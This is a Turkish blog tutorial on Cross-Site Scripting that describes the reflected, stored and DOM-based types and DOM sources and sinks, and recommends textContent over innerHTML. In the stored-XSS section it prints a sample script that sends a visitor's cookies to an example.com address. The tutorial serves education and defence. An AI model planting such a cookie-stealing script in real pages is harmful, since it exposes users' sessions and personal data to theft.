CROSS Site Scripting (XSS)

Merhaba,

Bir web uygulaması, yayın hayatı boyunca yoğunluk olarak kullanıcılar tarafından amacına dönük gelen taleplere karşılık hizmetini sunarken bunların yanında amacın dışında uygulamayı teste tabi tutmak isteyen iyi yahut kötü niyetli kimi kullanıcılar tarafından da yaratılan meşguliyetlerle ilgilenmek mecburiyetinde kalacaktır. Bu meşguliyetler, genellikle uygulamanın dış dünyaya karşı bir zafiyeti yani güvenlik açığı olup olmadığına dair meraklı olan kullanıcılar tarafından yapılan, benim nazarımda ‘manevratik deneme’ halkın deyimiyle ise ‘saldırı’ diye nitelendirilen fiiliyatlar olacaktır. İşte bu içeriğimizde web sunucularından ziyade client tarafında gerçekleştirilen ve en yaygın güvenlik açıklarından biri olan XSS saldırısı üzerine konuşuyor olacağız.

CROSS Site Scripting(XSS) Nedir?

Uygulama üzerinde kullanıcılar ile gerçekleştirilen etkileşim sürecinde çift taraflı veri akışının söz konusu olduğu durumlarda kullanıcılardan gelen verilerin tam teferruatlı kontrol edilmemesi sonucu kötü niyetli kişiler tarafından tarayıcıda çalışacak zararlı kodların uygulamaya dahil edilmesi ve böylece her türlü kötü amaca dair imkanlara erişilmesine dayanan bir güvenlik açığıdır.

Bu güvenlik açığına dair söyleyenebilecek en gülünç husus ise saldırı esnasında uygulamanın değil o uygulamaya güvenen kullanıcıların hedef alınması ve böylece kötü niyetli kişinin hedef kişiye olan erişiminde web uygulamasını bir aracı olarak kullanmasıdır.

Hangi Durumlarda Bu Saldırı Gerçekleşir?

Genel kanı, yaygın olarak kullanıcıdan bir form aracılığıyla alınan verinin yeterli kontrol edilmeksizin kullanılması neticesinde karşılaşıldığı durumlarda cereyan ettiği şeklindedir. Halbuki bu aslında hiçte bu kadar basit bir saldırı değildir! Farklı kanallar ile çalışmakta olan bir sistemi düşünürsek eğer, platform farklılıklarından dolayı veri doğrulama ve değerlendirme süreçleri değişkenlik gösteren uygulamalar bütününden beslenen bir uygulamanın bu saldırıya form durumlarına nazaran daha açık olduğunu söyleyebiliriz.

Örneğin; mobil kanaldan gelen bir girdinin üzerinde yapılacak doğrulama yöntemleri mobil platformunun zararına sebep olabilecek durumları değerlendirmek üzerine olacaktır. Dolayısıyla buradan bir tehdit olarak algılanmadan geçebilen zararlı kod, web tarayıcısı yahut tetikleyici unsur olabilecek sistemlerde çağrıldığında devreye girebilir ve kötü niyetli kişinin dolaylı yoldan amacına ermesini sağlayabilir. Aksi taktirde ilgili saldırı söylendiği gibi sadece form üzerinden yapılıyor olsaydı mevcut güvenlik önlemleri karşısında çokta şansı olmayacağından dolayı esamesinin okunmasına bile gerek kalmayacaktı.

Zararları Ne Olabilir?

XSS saldırısı ilgili web uygulamasının kullanıcı kitlesini hedef aldığından dolayı uygulama açısından maliyetli bir zarara yahut veri kaybına sebep olmayacaktır. Lakin uygulamanın üzerinden kullanıcıların cookie veya local/session storage verilerini kötü niyetli kişilere ulaştırabileceğinden dolayı veri sızdırılmasına sebep olabilmekte ve bunun neticesinde göz ardı edilmeyecek derecede kişisel verilerin çalınmasından, kullanıcı hesaplarında yaratılabilecek veri kayıplarına kadar ciddi sorunlarla karşılaşılmasına sebebiyet verebilecektir.

Saldırı Nasıl Gerçekleştirilir?

Asp.NET Core - CROSS Site Scripting (XSS)
Kötü niyetli kullanıcı(hacker) web uygulamasına bir şekilde zararlı komutları enjekte eder. Kurban web uygulamasını ziyaret ettiği anda zararlı komutlar tetiklenir ve hedeflenen veriler(cookie, session/local storage, token vs.) kötü niyetli kullanıcıya gönderilir.

Teoride bu şekilde ceyeran eden saldırı esasında Reflected XSS, Stored (Persistent) XSS ve DOM-Based XSS olmak üzere üç şekilde gerçekleştirilir.

  • Reflected XSS
    Anlık olarak gerçekleştirilen ve web sitesinde o anda zararlı JavaScript kodunun çalıştırılmasını gerektiren ve bu yüzden genellikle sadece saldıran kişi tarafından görülebilen saldırıdır. Genellikledir çünkü web socket tarzı geliştirilen yayın akışı yahut mesajlaşma tarzı uygulamalarda zararlı kod o andaki tüm kullanıcıları etkileyecek fırsatı yakalayabilir. Lakin zararlı kod veritabanına kaydedilmediğinden dolayıdır ki, XSS saldırı türleri içerisinde en az hasar verme oranına sahip olan saldırı çeşitidir.
  • Stored (Persistent) XSS
    Kullanıcıdan alınan girdi neticesinde zararlı kodun veritabanına kaydedilmesiyle kalıcı hale getirilerek gerçekleştirilen saldırıdır. Dolayısıyla diğer kullanıcılar tarafından ilgili veritabanına yapılacak sorgulamalar neticesinde gelecek olan veriler arasına sızdırılmış zararlı kod devreye girerek büyük bir veri sızıntısına sebebiyet verebilmektedir. O yüzden kimi kesimler tarafından XSS saldırılarının en tehlikelisi olduğu söylenmektedir.

    Genellikle forumlar, blog sitelerinin ziyaretçi sayfaları yahut haber sitelerindeki yorum kısımları gibi kullanıcıdan gelen girdilerin direkt olarak veritabanına yansıtıldığı alanlarda bu saldırı söz konusu olabilmektedir. İlgili web sitesinin geliştiricisi tarafından girdi kontrolü doğru bir şekilde gerçekleştirilmediği taktirde ilgili sayfaya erişim sağlayan tüm kullanıcıları büyük riskle karşı karşıya bıraktığını ifade etmekte fayda vardır.

    Örneğin aşağıdaki zararlı kod numunesini incelersek;

    <script>
        new Image().src = "https://www.example.com?cookiecek=" + document.cookie;
    </script>
    

    sayfaya yerleştirilen böyle bir kodun belirtilen adrese tüm cookie değerlerini taşıması demek phishing(şifre dolandırıcılığı/e-dolandırıcılık) saldırılarına inanılmaz kapı aralaması demektir.

  • DOM-Based XSS
    DOM(Document Object Model)’da meydana gelen saldırıdır. Stored ve Reflected XSS saldırılarında XSS atağını görebilmek mümkünken DOM tabanlı XSS saldırılarında mümkün değildir. Başka bir deyişle DOM tabanlı XSS saldırısının izlerine runtime yahut DOM dışında başka bir yerde rastlayamazsınız. Ayrıca Reflected ve Stored XSS saldırılarına nazaran DOM tabanlı saldırılarda #(hash) karakteriyle zararlı kodlar taşınacağı için ilgili karaktere dair sunucu taraflı bir değerlendirme yapılamayacağından dolayı server-side filtrelemeleride gerçekleştirilememektedir. Çünkü # karakterinden sonra yazılan hiçbir şey HTTP trafiğinde gözükmemekte dolayısıyla server’a gönderilmemektedir. Bu durumda özellikle Stored’a nazaran işlevsel açıdan daha tehlikeli bir saldırı olduğunu göstermektedir.

    DOM tabanlı XSS saldırısını engelleyebilmek için özellikle yüksek seviyeli bir client tabanlı doğrulama gerçekleştirilmelidir. Aksi taktirde server-side’da yapılan hiçbir validasyon sayfa davranışının kötü niyetle exploit edilmesini engelleyemeyecektir.

    Ayriyetten diğer saldırılara nazaran bu saldırıda Source(Kaynak) ve Sink(Alıcı) olmak üzere iki terminoloji söz konusudur.

    Kullanıcıdan(source/kaynak) alınan girdi, bir yürütme noktasına (sink/alıcı) gider.

    Buradan, kullanıcı tarafından kontrol edilebilen bir kaynağın tehlikeli bir alıcıda kullanılmasının DOM tabanlı saldırıya sebebiyet vereceği kanaati çıkarılabilmektedir.

    <script>
        document.write("<b>Geçerli URL</b> : " + document.baseURI);
    </script>
    

    Yukarıdaki örnek kodu ele alırsak eğer ‘document.baseURI’ kaynak iken, ‘document.write’ alıcıdır.

    Aşağıda sorun oluşturabilecek genel geçer kaynak ve alıcı listesini inceleyebilirsiniz.
    Genel Alıcılar

    • document.write
    • (element).innerHTML

    Genel Kaynaklar

    • document.URL
    • document.documentURI
    • location.href
    • location.search
    • location.*
    • window.name
    • document.referrer

    DOM XSS’den Korunın Yolu Nedir?
    DOM XSS’den korunmak için en uygun çıktı(sink) metodunu kullanmak gerekmektedir. Misal olarak; ‘innerHTML’ yerine ‘innerText’ ya da ‘textContent’ metotları tercih edilebilir.

    <b>Geçerli URL: </b> <span id="contentholder"></span>
    <script>
        document.getElementById("contentholder").textContent = document.baseURI;
    </script>
    

    Bu kod ise bir önceki örnektekiyle aynı işlemi gerçekleştirmekte lakin DOM XSS’e karşı daha korunaklı işlevsellik göstermektedir.

İlgilenenlerin faydalanması dileğiyle…
Sonraki yazılarımda görüşmek üzere…
İyi çalışmalar…

Bunlar da hoşunuza gidebilir...

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

*